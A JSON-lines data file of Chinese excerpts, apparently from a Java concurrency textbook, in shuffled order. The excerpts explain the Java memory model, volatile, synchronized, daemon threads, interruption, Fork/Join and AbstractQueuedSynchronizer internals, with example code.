    {"text": "Unknown 3.8.2 问题的根源 前面的双重检查锁定示例代码的第7行（instance=new Singleton();）创建了一个对象。这一行代码可以分解为如下的3行伪代码。 memory = allocate(); // 1：分配对象的内存空间 ctorInstance(memory); // 2：初始化对象 instance = memory; // 3：设置instance指向刚分配的内存地址 上面3行伪代码中的2和3之间，可能会被重排序（在一些JIT编译器上，这种重排序是真实发生的，详情见参考文献1的“Out-of-order writes”部分）。2和3之间重排序之后的执行时序如下。 memory = allocate(); // 1：分配对象的内存空间 instance = memory; // 3：设置instance指向刚分配的内存地址 // 注意，此时对象还没有被初始化！ ctorInstance(memory); // 2：初始化对象 根据《The Java Language Specification,Java SE 7 Edition》（后文简称为Java语言规范），所有线程在执行Java程序时必须要遵守intra-thread semantics。intra-thread semantics保证重排序不会改变单线程内的程序执行结果。换句话说，intra-thread semantics允许那些在单线程内，不会改变单线程程序执行结果的重排序。上面3行伪代码的2和3之间虽然被重排序了，但这个重排序并不会违反intra-thread semantics。这个重排序在没有改变单线程程序执行结果的前提下，可以提高程序的执行性能。 为了更好地理解intra-thread semantics，请看如图3-37所示的示意图（假设一个线程A在构造对象后，立即访问这个对象）。 如图3-37所示，只要保证2排在4的前面，即使2和3之间重排序了，也不会违反intra-thread semantics。 下面，再让我们查看多线程并发执行的情况。如图3-38所示。 图3-37 线程执行时序图 图3-38 多线程执行时序图 由于单线程内要遵守intra-thread semantics，从而能保证A线程的执行结果不会被改变。但是，当线程A和B按图3-38的时序执行时，B线程将看到一个还没有被初始化的对象。 回到本文的主题，DoubleCheckedLocking示例代码的第7行（instance=new Singleton();）如果发生重排序，另一个并发执行的线程B就有可能在第4行判断instance不为null。线程B接下来将访问instance所引用的对象，但此时这个对象可能还没有被A线程初始化！表3-6是这个场景的具体执行时序。 表3-6 多线程执行时序表 这里A2和A3虽然重排序了，但Java内存模型的intra-thread semantics将确保A2一定会排在A4前面执行。因此，线程A的intra-thread semantics没有改变，但A2和A3的重排序，将导致线程B在B1处判断出instance不为空，线程B接下来将访问instance引用的对象。此时，线程B将会访问到一个还未初始化的对象。 在知晓了问题发生的根源之后，我们可以想出两个办法来实现线程安全的延迟初始化。 1）不允许2和3重排序。 2）允许2和3重排序，但不允许其他线程“看到”这个重排序。 后文介绍的两个解决方案，分别对应于上面这两点。 Unknown 2.2 synchronized的实现原理与应用 在多线程并发编程中synchronized一直是元老级角色，很多人都会称呼它为重量级锁。但是，随着Java SE 1.6对synchronized进行了各种优化之后，有些情况下它就并不那么重了。本文详细介绍Java SE 1.6中为了减少获得锁和释放锁带来的性能消耗而引入的偏向锁和轻量级锁，以及锁的存储结构和升级过程。 先来看下利用synchronized实现同步的基础：Java中的每一个对象都可以作为锁。具体表现为以下3种形式。 ·对于普通同步方法，锁是当前实例对象。 ·对于静态同步方法，锁是当前类的Class对象。 ·对于同步方法块，锁是Synchonized括号里配置的对象。 当一个线程试图访问同步代码块时，它首先必须得到锁，退出或抛出异常时必须释放锁。那么锁到底存在哪里呢？锁里面会存储什么信息呢？ 从JVM规范中可以看到Synchonized在JVM里的实现原理，JVM基于进入和退出Monitor对象来实现方法同步和代码块同步，但两者的实现细节不一样。代码块同步是使用monitorenter和monitorexit指令实现的，而方法同步是使用另外一种方式实现的，细节在JVM规范里并没有详细说明。但是，方法的同步同样可以使用这两个指令来实现。 monitorenter指令是在编译后插入到同步代码块的开始位置，而monitorexit是插入到方法结束处和异常处，JVM要保证每个monitorenter必须有对应的monitorexit与之配对。任何对象都有一个monitor与之关联，当且一个monitor被持有后，它将处于锁定状态。线程执行到monitorenter指令时，将会尝试获取对象所对应的monitor的所有权，即尝试获得对象的锁。"},
    {"text": "Unknown 4.1.5 Daemon线程 Daemon线程是一种支持型线程，因为它主要被用作程序中后台调度以及支持性工作。这意味着，当一个Java虚拟机中不存在非Daemon线程的时候，Java虚拟机将会退出。可以通过调用Thread.setDaemon(true)将线程设置为Daemon线程。 注意 Daemon属性需要在启动线程之前设置，不能在启动线程之后设置。 Daemon线程被用作完成支持性工作，但是在Java虚拟机退出时Daemon线程中的finally块并不一定会执行，示例如代码清单4-5所示。 代码清单4-5 Daemon.java public class Daemon { public static void main(String[] args) { Thread thread = new Thread(new DaemonRunner(), \"DaemonRunner\"); thread.setDaemon(true); thread.start(); } static class DaemonRunner implements Runnable { @Override public void run() { try { SleepUtils.second(10); } finally { System.out.println(\"DaemonThread finally run.\"); } } } } 运行Daemon程序，可以看到在终端或者命令提示符上没有任何输出。main线程（非Daemon线程）在启动了线程DaemonRunner之后随着main方法执行完毕而终止，而此时Java虚拟机中已经没有非Daemon线程，虚拟机需要退出。Java虚拟机中的所有Daemon线程都需要立即终止，因此DaemonRunner立即终止，但是DaemonRunner中的finally块并没有执行。 注意 在构建Daemon线程时，不能依靠finally块中的内容来确保执行关闭或清理资源的逻辑。 Unknown 6.5 本章小结 本章介绍了Java中提供的各种并发容器和框架，并分析了该容器和框架的实现原理，从中我们能够领略到大师级的设计思路，希望读者能够充分理解这种设计思想，并在以后开发的并发程序时，运用上这些并发编程的技巧。 Unknown 5.6 Condition接口 任意一个Java对象，都拥有一组监视器方法（定义在java.lang.Object上），主要包括wait()、wait(long timeout)、notify()以及notifyAll()方法，这些方法与synchronized同步关键字配合，可以实现等待/通知模式。Condition接口也提供了类似Object的监视器方法，与Lock配合可以实现等待/通知模式，但是这两者在使用方式以及功能特性上还是有差别的。 通过对比Object的监视器方法和Condition接口，可以更详细地了解Condition的特性，对比项与结果如表5-12所示。 表5-12 Object的监视器方法与Condition接口的对比 Unknown 3.9.4 JSR-133对旧内存模型的修补 JSR-133对JDK 5之前的旧内存模型的修补主要有两个。 ·增强volatile的内存语义。旧内存模型允许volatile变量与普通变量重排序。JSR-133严格限制volatile变量与普通变量的重排序，使volatile的写-读和锁的释放-获取具有相同的内存语义。 ·增强final的内存语义。在旧内存模型中，多次读取同一个final变量的值可能会不相同。为此，JSR-133为final增加了两个重排序规则。在保证final引用不会从构造函数内逸出的情况下，final具有了初始化安全性。 图3-50 3类程序的执行结果的对比图 Unknown 6.2 ConcurrentLinkedQueue 在并发编程中，有时候需要使用线程安全的队列。如果要实现一个线程安全的队列有两种方式：一种是使用阻塞算法，另一种是使用非阻塞算法。使用阻塞算法的队列可以用一个锁（入队和出队用同一把锁）或两个锁（入队和出队用不同的锁）等方式来实现。非阻塞的实现方式则可以使用循环CAS的方式来实现。本节让我们一起来研究一下Doug Lea是如何使用非阻塞的方式来实现线程安全队列ConcurrentLinkedQueue的，相信从大师身上我们能学到不少并发编程的技巧。 ConcurrentLinkedQueue是一个基于链接节点的无界线程安全队列，它采用先进先出的规则对节点进行排序，当我们添加一个元素的时候，它会添加到队列的尾部；当我们获取一个元素时，它会返回队列头部的元素。它采用了“wait-free”算法（即CAS算法）来实现，该算法在Michael&Scott算法上进行了一些修改。 Unknown 3.3.1 数据竞争与顺序一致性 当程序未正确同步时，就可能会存在数据竞争。Java内存模型规范对数据竞争的定义如下。 在一个线程中写一个变量， 在另一个线程读同一个变量， 而且写和读没有通过同步来排序。 当代码中包含数据竞争时，程序的执行往往产生违反直觉的结果（前一章的示例正是如此）。如果一个多线程程序能正确同步，这个程序将是一个没有数据竞争的程序。 JMM对正确同步的多线程程序的内存一致性做了如下保证。 如果程序是正确同步的，程序的执行将具有顺序一致性（Sequentially Consistent）——即程序的执行结果与该程序在顺序一致性内存模型中的执行结果相同。马上我们就会看到，这对于程序员来说是一个极强的保证。这里的同步是指广义上的同步，包括对常用同步原语（synchronized、volatile和final）的正确使用。"},
    {"text": "Unknown 3.4.5 JSR-133为什么要增强volatile的内存语义 在JSR-133之前的旧Java内存模型中，虽然不允许volatile变量之间重排序，但旧的Java内存模型允许volatile变量与普通变量重排序。在旧的内存模型中，VolatileExample示例程序可能被重排序成下列时序来执行，如图3-23所示。 图3-23 线程执行时序图 在旧的内存模型中，当1和2之间没有数据依赖关系时，1和2之间就可能被重排序（3和4类似）。其结果就是：读线程B执行4时，不一定能看到写线程A在执行1时对共享变量的修改。 因此，在旧的内存模型中，volatile的写-读没有锁的释放-获所具有的内存语义。为了提供一种比锁更轻量级的线程之间通信的机制，JSR-133专家组决定增强volatile的内存语义：严格限制编译器和处理器对volatile变量与普通变量的重排序，确保volatile的写-读和锁的释放-获取具有相同的内存语义。从编译器重排序规则和处理器内存屏障插入策略来看，只要volatile变量与普通变量之间的重排序可能会破坏volatile的内存语义，这种重排序就会被编译器重排序规则和处理器内存屏障插入策略禁止。 由于volatile仅仅保证对单个volatile变量的读/写具有原子性，而锁的互斥执行的特性可以确保对整个临界区代码的执行具有原子性。在功能上，锁比volatile更强大；在可伸缩性和执行性能上，volatile更有优势。如果读者想在程序中用volatile代替锁，请一定谨慎，具体详情请参阅Brian Goetz的文章《Java理论与实践：正确使用Volatile变量》。 Unknown 3.9.1 处理器的内存模型 顺序一致性内存模型是一个理论参考模型，JMM和处理器内存模型在设计时通常会以顺序一致性内存模型为参照。在设计时，JMM和处理器内存模型会对顺序一致性模型做一些放松，因为如果完全按照顺序一致性模型来实现处理器和JMM，那么很多的处理器和编译器优化都要被禁止，这对执行性能将会有很大的影响。 根据对不同类型的读/写操作组合的执行顺序的放松，可以把常见处理器的内存模型划分为如下几种类型。 ·放松程序中写-读操作的顺序，由此产生了Total Store Ordering内存模型（简称为TSO）。 ·在上面的基础上，继续放松程序中写-写操作的顺序，由此产生了Partial Store Order内存模型（简称为PSO）。 ·在前面两条的基础上，继续放松程序中读-写和读-读操作的顺序，由此产生了Relaxed Memory Order内存模型（简称为RMO）和PowerPC内存模型。 注意，这里处理器对读/写操作的放松，是以两个操作之间不存在数据依赖性为前提的（因为处理器要遵守as-if-serial语义，处理器不会对存在数据依赖性的两个内存操作做重排序）。 表3-12展示了常见处理器内存模型的细节特征如下。 表3-12 处理器内存模型的特征表 从表3-12中可以看到，所有处理器内存模型都允许写-读重排序，原因在第1章已经说明过：它们都使用了写缓存区。写缓存区可能导致写-读操作重排序。同时，我们可以看到这些处理器内存模型都允许更早读到当前处理器的写，原因同样是因为写缓存区。由于写缓存区仅对当前处理器可见，这个特性导致当前处理器可以比其他处理器先看到临时保存在自己写缓存区中的写。 表3-12中的各种处理器内存模型，从上到下，模型由强变弱。越是追求性能的处理器，内存模型设计得会越弱。因为这些处理器希望内存模型对它们的束缚越少越好，这样它们就可以做尽可能多的优化来提高性能。 由于常见的处理器内存模型比JMM要弱，Java编译器在生成字节码时，会在执行指令序列的适当位置插入内存屏障来限制处理器的重排序。同时，由于各种处理器内存模型的强弱不同，为了在不同的处理器平台向程序员展示一个一致的内存模型，JMM在不同的处理器中需要插入的内存屏障的数量和种类也不相同。图3-48展示了JMM在不同处理器内存模型中需要插入的内存屏障的示意图。 JMM屏蔽了不同处理器内存模型的差异，它在不同的处理器平台之上为Java程序员呈现了一个一致的内存模型。 图3-48 JMM插入内存屏障的示意图"},
    {"text": "Unknown 4.4 线程应用实例 4.4.1 等待超时模式 开发人员经常会遇到这样的方法调用场景：调用一个方法时等待一段时间（一般来说是给定一个时间段），如果该方法能够在给定的时间段之内得到结果，那么将结果立刻返回，反之，超时返回默认结果。 前面的章节介绍了等待/通知的经典范式，即加锁、条件循环和处理逻辑3个步骤，而这种范式无法做到超时等待。而超时等待的加入，只需要对经典范式做出非常小的改动，改动内容如下所示。 假设超时时间段是T，那么可以推断出在当前时间now+T之后就会超时。 定义如下变量。 ·等待持续时间：REMAINING=T。 ·超时时间：FUTURE=now+T。 这时仅需要wait(REMAINING)即可，在wait(REMAINING)返回之后会将执行：REMAINING=FUTURE–now。如果REMAINING小于等于0，表示已经超时，直接退出，否则将继续执行wait(REMAINING)。 上述描述等待超时模式的伪代码如下。 // 对当前对象加锁 public synchronized Object get(long mills) throws InterruptedException { long future = System.currentTimeMillis() + mills; long remaining = mills; // 当超时大于0并且result返回值不满足要求 while ((result == null) && remaining > 0) { wait(remaining); remaining = future - System.currentTimeMillis(); } return result; } 可以看出，等待超时模式就是在等待/通知范式基础上增加了超时控制，这使得该模式相比原有范式更具有灵活性，因为即使方法执行时间过长，也不会“永久”阻塞调用者，而是会按照调用者的要求“按时”返回。 Unknown 第11章 Java并发编程实践 当你在进行并发编程时，看着程序的执行速度在自己的优化下运行得越来越快，你会觉得越来越有成就感，这就是并发编程的魅力。但与此同时，并发编程产生的问题和风险可能也会随之而来。本章先介绍几个并发编程的实战案例，然后再介绍如何排查并发编程造成的问题。 Unknown 3.9.2 各种内存模型之间的关系 JMM是一个语言级的内存模型，处理器内存模型是硬件级的内存模型，顺序一致性内存模型是一个理论参考模型。下面是语言内存模型、处理器内存模型和顺序一致性内存模型的强弱对比示意图，如图3-49所示。 从图中可以看出：常见的4种处理器内存模型比常用的3中语言内存模型要弱，处理器内存模型和语言内存模型都比顺序一致性内存模型要弱。同处理器内存模型一样，越是追求执行性能的语言，内存模型设计得会越弱。"},
    {"text": "Unknown 6.4.6 Fork/Join框架的实现原理 ForkJoinPool由ForkJoinTask数组和ForkJoinWorkerThread数组组成，ForkJoinTask数组负责将存放程序提交给ForkJoinPool的任务，而ForkJoinWorkerThread数组负责执行这些任务。 （1）ForkJoinTask的fork方法实现原理 当我们调用ForkJoinTask的fork方法时，程序会调用ForkJoinWorkerThread的pushTask方法异步地执行这个任务，然后立即返回结果。代码如下。 public final ForkJoinTask<V> fork() { ((ForkJoinWorkerThread) Thread.currentThread()) .pushTask(this); return this; } pushTask方法把当前任务存放在ForkJoinTask数组队列里。然后再调用ForkJoinPool的signalWork()方法唤醒或创建一个工作线程来执行任务。代码如下。 final void pushTask(ForkJoinTask<> t) { ForkJoinTask<>[] q; int s, m; if ((q = queue) != null) { // ignore if queue removed long u = (((s = queueTop) & (m = q.length - 1)) << ASHIFT) + ABASE; UNSAFE.putOrderedObject(q, u, t); queueTop = s + 1; // or use putOrderedInt if ((s -= queueBase) <= 2) pool.signalWork(); else if (s == m) growQueue(); } } （2）ForkJoinTask的join方法实现原理 Join方法的主要作用是阻塞当前线程并等待获取结果。让我们一起看看ForkJoinTask的join方法的实现，代码如下。 public final V join() { if (doJoin() != NORMAL) return reportResult(); else return getRawResult(); } private V reportResult() { int s; Throwable ex; if ((s = status) == CANCELLED) throw new CancellationException(); if (s == EXCEPTIONAL && (ex = getThrowableException()) != null) UNSAFE.throwException(ex); return getRawResult(); } 首先，它调用了doJoin()方法，通过doJoin()方法得到当前任务的状态来判断返回什么结果，任务状态有4种：已完成（NORMAL）、被取消（CANCELLED）、信号（SIGNAL）和出现异常（EXCEPTIONAL）。 ·如果任务状态是已完成，则直接返回任务结果。 ·如果任务状态是被取消，则直接抛出CancellationException。 ·如果任务状态是抛出异常，则直接抛出对应的异常。 让我们再来分析一下doJoin()方法的实现代码。 private int doJoin() { Thread t; ForkJoinWorkerThread w; int s; boolean completed; if ((t = Thread.currentThread()) instanceof ForkJoinWorkerThread) { if ((s = status) < 0) return s; if ((w = (ForkJoinWorkerThread)t).unpushTask(this)) { try { completed = exec(); } catch (Throwable rex) { return setExceptionalCompletion(rex); } if (completed) return setCompletion(NORMAL); } return w.joinTask(this); } else return externalAwaitDone(); } 在doJoin()方法里，首先通过查看任务的状态，看任务是否已经执行完成，如果执行完成，则直接返回任务状态；如果没有执行完，则从任务数组里取出任务并执行。如果任务顺利执行完成，则设置任务状态为NORMAL，如果出现异常，则记录异常，并将任务状态设置为EXCEPTIONAL。 Unknown 3.1.2 Java内存模型的抽象结构 在Java中，所有实例域、静态域和数组元素都存储在堆内存中，堆内存在线程之间共享（本章用“共享变量”这个术语代指实例域，静态域和数组元素）。局部变量（Local Variables），方法定义参数（Java语言规范称之为Formal Method Parameters）和异常处理器参数（Exception Handler Parameters）不会在线程之间共享，它们不会有内存可见性问题，也不受内存模型的影响。 Java线程之间的通信由Java内存模型（本文简称为JMM）控制，JMM决定一个线程对共享变量的写入何时对另一个线程可见。从抽象的角度来看，JMM定义了线程和主内存之间的抽象关系：线程之间的共享变量存储在主内存（Main Memory）中，每个线程都有一个私有的本地内存（Local Memory），本地内存中存储了该线程以读/写共享变量的副本。本地内存是JMM的一个抽象概念，并不真实存在。它涵盖了缓存、写缓冲区、寄存器以及其他的硬件和编译器优化。Java内存模型的抽象示意如图3-1所示。 图3-1 Java内存模型的抽象结构示意图 从图3-1来看，如果线程A与线程B之间要通信的话，必须要经历下面2个步骤。 1）线程A把本地内存A中更新过的共享变量刷新到主内存中去。 2）线程B到主内存中去读取线程A之前已更新过的共享变量。 下面通过示意图（见图3-2）来说明这两个步骤。 图3-2 线程之间的通信图 如图3-2所示，本地内存A和本地内存B由主内存中共享变量x的副本。假设初始时，这3个内存中的x值都为0。线程A在执行时，把更新后的x值（假设值为1）临时存放在自己的本地内存A中。当线程A和线程B需要通信时，线程A首先会把自己本地内存中修改后的x值刷新到主内存中，此时主内存中的x值变为了1。随后，线程B到主内存中去读取线程A更新后的x值，此时线程B的本地内存的x值也变为了1。 从整体来看，这两个步骤实质上是线程A在向线程B发送消息，而且这个通信过程必须要经过主内存。JMM通过控制主内存与每个线程的本地内存之间的交互，来为Java程序员提供内存可见性保证。"},
    {"text": "Unknown 5.4 读写锁 之前提到锁（如Mutex和ReentrantLock）基本都是排他锁，这些锁在同一时刻只允许一个线程进行访问，而读写锁在同一时刻可以允许多个读线程访问，但是在写线程访问时，所有的读线程和其他写线程均被阻塞。读写锁维护了一对锁，一个读锁和一个写锁，通过分离读锁和写锁，使得并发性相比一般的排他锁有了很大提升。 除了保证写操作对读操作的可见性以及并发性的提升之外，读写锁能够简化读写交互场景的编程方式。假设在程序中定义一个共享的用作缓存数据结构，它大部分时间提供读服务（例如查询和搜索），而写操作占有的时间很少，但是写操作完成之后的更新需要对后续的读服务可见。 在没有读写锁支持的（Java 5之前）时候，如果需要完成上述工作就要使用Java的等待通知机制，就是当写操作开始时，所有晚于写操作的读操作均会进入等待状态，只有写操作完成并进行通知之后，所有等待的读操作才能继续执行（写操作之间依靠synchronized关键进行同步），这样做的目的是使读操作能读取到正确的数据，不会出现脏读。改用读写锁实现上述功能，只需要在读操作时获取读锁，写操作时获取写锁即可。当写锁被获取到时，后续（非当前写操作线程）的读写操作都会被阻塞，写锁释放之后，所有操作继续执行，编程方式相对于使用等待通知机制的实现方式而言，变得简单明了。 一般情况下，读写锁的性能都会比排它锁好，因为大多数场景读是多于写的。在读多于写的情况下，读写锁能够提供比排它锁更好的并发性和吞吐量。Java并发包提供读写锁的实现是ReentrantReadWriteLock，它提供的特性如表5-8所示。 表5-8 ReentrantReadWriteLock的特性 Unknown 4.2.3 理解中断 中断可以理解为线程的一个标识位属性，它表示一个运行中的线程是否被其他线程进行了中断操作。中断好比其他线程对该线程打了个招呼，其他线程通过调用该线程的interrupt()方法对其进行中断操作。 线程通过检查自身是否被中断来进行响应，线程通过方法isInterrupted()来进行判断是否被中断，也可以调用静态方法Thread.interrupted()对当前线程的中断标识位进行复位。如果该线程已经处于终结状态，即使该线程被中断过，在调用该线程对象的isInterrupted()时依旧会返回false。 从Java的API中可以看到，许多声明抛出InterruptedException的方法（例如Thread.sleep(long millis)方法）这些方法在抛出InterruptedException之前，Java虚拟机会先将该线程的中断标识位清除，然后抛出InterruptedException，此时调用isInterrupted()方法将会返回false。 在代码清单4-7所示的例子中，首先创建了两个线程，SleepThread和BusyThread，前者不停地睡眠，后者一直运行，然后对这两个线程分别进行中断操作，观察二者的中断标识位。 代码清单4-7 Interrupted.java public class Interrupted { public static void main(String[] args) throws Exception { // sleepThread不停的尝试睡眠 Thread sleepThread = new Thread(new SleepRunner(), \"SleepThread\"); sleepThread.setDaemon(true); // busyThread不停的运行 Thread busyThread = new Thread(new BusyRunner(), \"BusyThread\"); busyThread.setDaemon(true); sleepThread.start(); busyThread.start(); // 休眠5秒，让sleepThread和busyThread充分运行 TimeUnit.SECONDS.sleep(5); sleepThread.interrupt(); busyThread.interrupt(); System.out.println(\"SleepThread interrupted is \" + sleepThread.isInterrupted()); System.out.println(\"BusyThread interrupted is \" + busyThread.isInterrupted()); // 防止sleepThread和busyThread立刻退出 SleepUtils.second(2); } static class SleepRunner implements Runnable { @Override public void run() { while (true) { SleepUtils.second(10); } } } static class BusyRunner implements Runnable { @Override public void run() { while (true) { } } } } 输出如下。 SleepThread interrupted is false BusyThread interrupted is true 从结果可以看出，抛出InterruptedException的线程SleepThread，其中断标识位被清除了，而一直忙碌运作的线程BusyThread，中断标识位没有被清除。"},
    {"text": "Unknown 5.2.2 队列同步器的实现分析 接下来将从实现角度分析同步器是如何完成线程同步的，主要包括：同步队列、独占式同步状态获取与释放、共享式同步状态获取与释放以及超时获取同步状态等同步器的核心数据结构与模板方法。 1.同步队列 同步器依赖内部的同步队列（一个FIFO双向队列）来完成同步状态的管理，当前线程获取同步状态失败时，同步器会将当前线程以及等待状态等信息构造成为一个节点（Node）并将其加入同步队列，同时会阻塞当前线程，当同步状态释放时，会把首节点中的线程唤醒，使其再次尝试获取同步状态。 同步队列中的节点（Node）用来保存获取同步状态失败的线程引用、等待状态以及前驱和后继节点，节点的属性类型与名称以及描述如表5-5所示。 表5-5 节点的属性类型与名称以及描述 节点是构成同步队列（等待队列，在5.6节中将会介绍）的基础，同步器拥有首节点（head）和尾节点（tail），没有成功获取同步状态的线程将会成为节点加入该队列的尾部，同步队列的基本结构如图5-1所示。 图5-1 同步队列的基本结构 在图5-1中，同步器包含了两个节点类型的引用，一个指向头节点，而另一个指向尾节点。 试想一下，当一个线程成功地获取了同步状态（或者锁），其他线程将无法获取到同步状态，转而被构造成为节点并加入到同步队列中，而这个加入队列的过程必须要保证线程安全，因此同步器提供了一个基于CAS的设置尾节点的方法：compareAndSetTail(Node expect,Node update)，它需要传递当前线程“认为”的尾节点和当前节点，只有设置成功后，当前节点才正式与之前的尾节点建立关联。"},
    {"text": "图5-2 节点加入到同步队列 同步队列遵循FIFO，首节点是获取同步状态成功的节点，首节点的线程在释放同步状态时，将会唤醒后继节点，而后继节点将会在获取同步状态成功时将自己设置为首节点，该过程如图5-3所示。 图5-3 首节点的设置 在图5-3中，设置首节点是通过获取同步状态成功的线程来完成的，由于只有一个线程能够成功获取到同步状态，因此设置头节点的方法并不需要使用CAS来保证，它只需要将首节点设置成为原首节点的后继节点并断开原首节点的next引用即可。 2.独占式同步状态获取与释放 通过调用同步器的acquire(int arg)方法可以获取同步状态，该方法对中断不敏感，也就是由于线程获取同步状态失败后进入同步队列中，后续对线程进行中断操作时，线程不会从同步队列中移出，该方法代码如代码清单5-3所示。 代码清单5-3 同步器的acquire方法 public final void acquire(int arg) { if (!tryAcquire(arg) && acquireQueued(addWaiter(Node.EXCLUSIVE), arg)) selfInterrupt(); } 上述代码主要完成了同步状态获取、节点构造、加入同步队列以及在同步队列中自旋等待的相关工作，其主要逻辑是：首先调用自定义同步器实现的tryAcquire(int arg)方法，该方法保证线程安全的获取同步状态，如果同步状态获取失败，则构造同步节点（独占式Node.EXCLUSIVE，同一时刻只能有一个线程成功获取同步状态）并通过addWaiter(Node node)方法将该节点加入到同步队列的尾部，最后调用acquireQueued(Node node,int arg)方法，使得该节点以“死循环”的方式获取同步状态。"},
    {"text": "代码清单5-4 同步器的addWaiter和enq方法 private Node addWaiter(Node mode) { Node node = new Node(Thread.currentThread(), mode); // 快速尝试在尾部添加 Node pred = tail; if (pred != null) { node.prev = pred; if (compareAndSetTail(pred, node)) { pred.next = node; return node; } } enq(node); return node; } private Node enq(final Node node) { for (;;) { Node t = tail; if (t == null) { // Must initialize if (compareAndSetHead(new Node())) tail = head; } else { node.prev = t; if (compareAndSetTail(t, node)) { t.next = node; return t; } } } } 上述代码通过使用compareAndSetTail(Node expect,Node update)方法来确保节点能够被线程安全添加。"},
    {"text": "试想一下：如果使用一个普通的LinkedList来维护节点之间的关系，那么当一个线程获取了同步状态，而其他多个线程由于调用tryAcquire(int arg)方法获取同步状态失败而并发地被添加到LinkedList时，LinkedList将难以保证Node的正确添加，最终的结果可能是节点的数量有偏差，而且顺序也是混乱的。"},
    {"text": "在enq(final Node node)方法中，同步器通过“死循环”来保证节点的正确添加，在“死循环”中只有通过CAS将节点设置成为尾节点之后，当前线程才能从该方法返回，否则，当前线程不断地尝试设置。 可以看出，enq(final Node node)方法将并发添加节点的请求通过CAS变得“串行化”了。"},
    {"text": "节点进入同步队列之后，就进入了一个自旋的过程，每个节点（或者说每个线程）都在自省地观察，当条件满足，获取到了同步状态，就可以从这个自旋过程中退出，否则依旧留在这个自旋过程中（并会阻塞节点的线程），如代码清单5-5所示。"},
    {"text": "代码清单5-5 同步器的acquireQueued方法 final boolean acquireQueued(final Node node, int arg) { boolean failed = true; try { boolean interrupted = false; for (;;) { final Node p = node.predecessor(); if (p == head && tryAcquire(arg)) { setHead(node); p.next = null; // help GC failed = false; return interrupted; } if (shouldParkAfterFailedAcquire(p, node) && parkAndCheckInterrupt()) interrupted = true; } } finally { if (failed) cancelAcquire(node); } } 在acquireQueued(final Node node,int arg)方法中，当前线程在“死循环”中尝试获取同步状态，而只有前驱节点是头节点才能够尝试获取同步状态，这是为什么？"},
    {"text": "第一，头节点是成功获取到同步状态的节点，而头节点的线程释放了同步状态之后，将会唤醒其后继节点，后继节点的线程被唤醒后需要检查自己的前驱节点是否是头节点。"},
    {"text": "图5-4 节点自旋获取同步状态 在图5-4中，由于非首节点线程前驱节点出队或者被中断而从等待状态返回，随后检查自己的前驱是否是头节点，如果是则尝试获取同步状态。"},
    {"text": "可以看到节点和节点之间在循环检查的过程中基本不相互通信，而是简单地判断自己的前驱是否为头节点，这样就使得节点的释放规则符合FIFO，并且也便于对过早通知的处理（过早通知是指前驱节点不是头节点的线程由于中断而被唤醒）。"},
    {"text": "独占式同步状态获取流程，也就是acquire(int arg)方法调用流程，如图5-5所示。 图5-5 独占式同步状态获取流程 在图5-5中，前驱节点为头节点且能够获取同步状态的判断条件和线程进入等待状态是获取同步状态的自旋过程。 当同步状态获取成功之后，当前线程从acquire(int arg)方法返回，如果对于锁这种并发组件而言，代表着当前线程获取了锁。 当前线程获取同步状态并执行了相应逻辑之后，就需要释放同步状态，使得后续节点能够继续获取同步状态。 通过调用同步器的release(int arg)方法可以释放同步状态，该方法在释放了同步状态之后，会唤醒其后继节点（进而使后继节点重新尝试获取同步状态）。"},
    {"text": "代码清单5-6 同步器的release方法 public final boolean release(int arg) { if (tryRelease(arg)) { Node h = head; if (h != null && h.waitStatus != 0) unparkSuccessor(h); return true; } return false; } 该方法执行时，会唤醒头节点的后继节点线程，unparkSuccessor(Node node)方法使用LockSupport（在后面的章节会专门介绍）来唤醒处于等待状态的线程。"},
    {"text": "分析了独占式同步状态获取和释放过程后，适当做个总结：在获取同步状态时，同步器维护一个同步队列，获取状态失败的线程都会被加入到队列中并在队列中进行自旋；"},
    {"text": "写操作要求对资源的独占式访问，而读操作可以是共享式访问，两种不同的访问模式在同一时刻对文件或资源的访问情况，如图5-6所示。 图5-6 共享式与独占式访问资源的对比 在图5-6中，左半部分，共享式访问资源时，其他共享式的访问均被允许，而独占式访问被阻塞，右半部分是独占式访问资源时，同一时刻其他访问均被阻塞。"},
    {"text": "通过调用同步器的acquireShared(int arg)方法可以共享式地获取同步状态，该方法代码如代码清单5-7所示。 代码清单5-7 同步器的acquireShared和doAcquireShared方法 public final void acquireShared(int arg) { if (tryAcquireShared(arg) < 0) doAcquireShared(arg); } private void doAcquireShared(int arg) { final Node node = addWaiter(Node.SHARED); boolean failed = true; try { boolean interrupted = false; for (;;) { final Node p = node.predecessor(); if (p == head) { int r = tryAcquireShared(arg); if (r >= 0) { setHeadAndPropagate(node, r); p.next = null; if (interrupted) selfInterrupt(); failed = false; return; } } if (shouldParkAfterFailedAcquire(p, node) && parkAndCheckInterrupt()) interrupted = true; } } finally { if (failed) cancelAcquire(node); } } 在acquireShared(int arg)方法中，同步器调用tryAcquireShared(int arg)方法尝试获取同步状态，tryAcquireShared(int arg)方法返回值为int类型，当返回值大于等于0时，表示能够获取到同步状态。 因此，在共享式获取的自旋过程中，成功获取到同步状态并退出自旋的条件就是tryAcquireShared(int arg)方法返回值大于等于0。 可以看到，在doAcquireShared(int arg)方法的自旋过程中，如果当前节点的前驱为头节点时，尝试获取同步状态，如果返回值大于等于0，表示该次获取同步状态成功并从自旋过程中退出。"},
    {"text": "与独占式一样，共享式获取也需要释放同步状态，通过调用releaseShared(int arg)方法可以释放同步状态，该方法代码如代码清单5-8所示。 代码清单5-8 同步器的releaseShared方法 public final boolean releaseShared(int arg) { if (tryReleaseShared(arg)) { doReleaseShared(); return true; } return false; } 该方法在释放同步状态之后，将会唤醒后续处于等待状态的节点。 对于能够支持多个线程同时访问的并发组件（比如Semaphore），它和独占式主要区别在于tryReleaseShared(int arg)方法必须确保同步状态（或者资源数）线程安全释放，一般是通过循环和CAS来保证的，因为释放同步状态的操作会同时来自多个线程。 4.独占式超时获取同步状态 通过调用同步器的doAcquireNanos(int arg,long nanosTimeout)方法可以超时获取同步状态，即在指定的时间段内获取同步状态，如果获取到同步状态则返回true，否则，返回false。"},
    {"text": "在Java 5之前，当一个线程获取不到锁而被阻塞在synchronized之外时，对该线程进行中断操作，此时该线程的中断标志位会被修改，但线程依旧会阻塞在synchronized上，等待着获取锁。"},
    {"text": "在Java 5中，同步器提供了acquireInterruptibly(int arg)方法，这个方法在等待获取同步状态时，如果当前线程被中断，会立刻返回，并抛出InterruptedException。"},
    {"text": "超时获取同步状态过程可以被视作响应中断获取同步状态过程的“增强版”，doAcquireNanos(int arg,long nanosTimeout)方法在支持响应中断的基础上，增加了超时获取的特性。"},
